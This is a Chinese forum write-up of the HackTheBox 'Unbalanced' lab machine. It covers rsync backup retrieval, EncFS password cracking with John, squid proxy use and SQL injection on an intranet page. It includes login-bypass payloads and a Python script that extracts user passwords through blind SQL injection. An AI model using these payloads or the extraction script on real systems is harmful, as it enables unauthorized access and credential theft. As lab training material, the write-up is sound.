本文为看雪论坛优秀文章
看雪论坛作者ID:Buchiyexiao
Unbalanced算是自己HTB的第一个靶场,也是总共做过的第二个靶场,对于看了一大堆理论但是初步接触靶场的我,可能很多工具和指令都是第一次使用,所以可能文中涉及到的一些解释较多,技术水平比较菜,希望大佬轻喷常规操作,nmap或者masscan等渗透扫描工具对其端口扫描。对端口进行简单分析,22端口ssh不赘述,873端口rsync是一款数据备份工具,3128端口squid-http是linux的代理。从stackoverflow)找到了一个rsync的姿势。
甭管是啥,但是这些东西肯定有用,先拷贝下来。
sudo -rdt rsync://10.10.10.200/conf_backups ./xx文件夹
发现都是一些加密的文件,而我们的目标就是找到加密算法,通过上面rsync的利用,可以看到存在EncFS的加密函数,因此我们可以猜测文件都是借助EncFs进行加密,因此我们需要进行解密。EncFs解密我找了感觉都没有用,最后发现Kali中自带的John工具可以解密也是挺吃惊的(Kali天下第一!,附上我找到的John工具源码,有需要的同学可以自行阅读koboi137/john: John the Ripper 1.9.0-jumbo-1+bleeding-47a8a9b98 2019-08-26 20:19:16 (github.com)。可以爆破出密码为bubblegum,因为爆破时间较长,爆破完就关了所以忘记截图了......然后可以借助一些正则匹配grep等工具寻找password和squid等相关信息然后我们可以配置代理去访问intranet.unbalanced.htb,发现一个界面:由于上面我们知道了password,我们借助squidclient去查看FQDN缓存统计信息和内容,发现172.17.0.1为负载均衡器,172.31.172.2/3为两个web服务器,访问172.17.0.1发现回显主机停止负载平衡进行安全维护,但是我们刚才访问intranet.unbalanced.htb为intranet.php,大胆猜测,它仍可以运行,所以访问发现确实仍存在。进行简单的页面测试,然后没有发现什么漏洞,陷入僵局....后来网上找到了一个大佬的文章,发现这里其实是存在SQL注入的,SQL语句为:SELECT FROM users WHERE Username='$Username' AND Password='$Password'
SELECT FROM users WHERE Username=''or'='or'' AND Password=''or'='or''
然后大佬又告诉我如何在知道用户名的情况下得到用户的密码,大佬构造的SQL语句为以下:SELECT FROM users WHERE Username='' AND Password='' OR Password LIKE 'a%'
SELECT FROM users WHERE Username='' AND Password='' OR substring(Password,1,1)='a'
然后借助bs4和requests进行遍历得到users的密码:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import string
from bs4 import BeautifulSoup
import requests
users = ["rita", "jim", "bryan", "sarah"]
for user in users:
print(f"{user}: ", end="", flush=True)
for i in range(1, 31):
for c in string.printable[:94]:
print(c, end="", flush=True)
r = requests.post("http://172.31.179.1/intranet.php",
data={"Username": "nobody",
"Password": f"' or substring(Password,{i},1)='{c}"},
proxies={"http": "http://10.10.10.200:3128"})
soup = BeautifulSoup(r.text, "html.parser")
if d := soup.find("div", {"class": "m4"}):
if [p for p in d.find_all("p", {"class": "w3-opacity"}) if p.text.strip() == user]:
break
print("\b", end="", flush=True)
else:
print(" ")
break
这里可以得到用户的账号和密码,尝试每组账号密码进行SSH连接,发现bryan可以登陆成功,得到user权限:尝试后发现bryan仅仅只是user权限,所以并没有获得root权限,也尝试了弱口令和已有口令拼接爆破,但是均无果。查找了一些大佬的文章和视频,发现后面主要是利用了一个Pi-hole Gravity updater的安全漏洞构造了php的shellcode,具体利用见cve-2020-11108,这里由于我还没有仔细去看这个漏洞的位置和复现方法,所以不在多说。作为自己渗透的前几台靶机,因为刚接触所以可能还不太灵活,目前个人认为的大概思路就是nmap或者其他工具进行扫描端口,发现端口,如果存在80端口或者一些代理转发的端口大概率从web页面入手,而如果存在一些其它端口,可以直接百度搜索该端口的漏洞,初步尝试使用msf寻找相关的攻击方法,攻击不成可以借助kali上的一些工具包进行测试,而web页面上一般都会存在着一些奇怪姿势的SQL或者弱口令(目前对于提权还不太掌握,需要进一步学习~~~看雪ID:Buchiyexiao
https://bbs.pediy.com/user-home-905642.htm
*本文由看雪论坛 Buchiyexiao 原创,转载请注明来自看雪社区。
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458381110&idx=1&sn=65647ce78fd24f9069c2a7117b56d6fd&chksm=b180dbbc86f752aa4cb23f55d5b3d6fada6e7c8aa4356d858ed746adfd842da853f33cd984ad#rd
如有侵权请联系:admin#unsafe.sh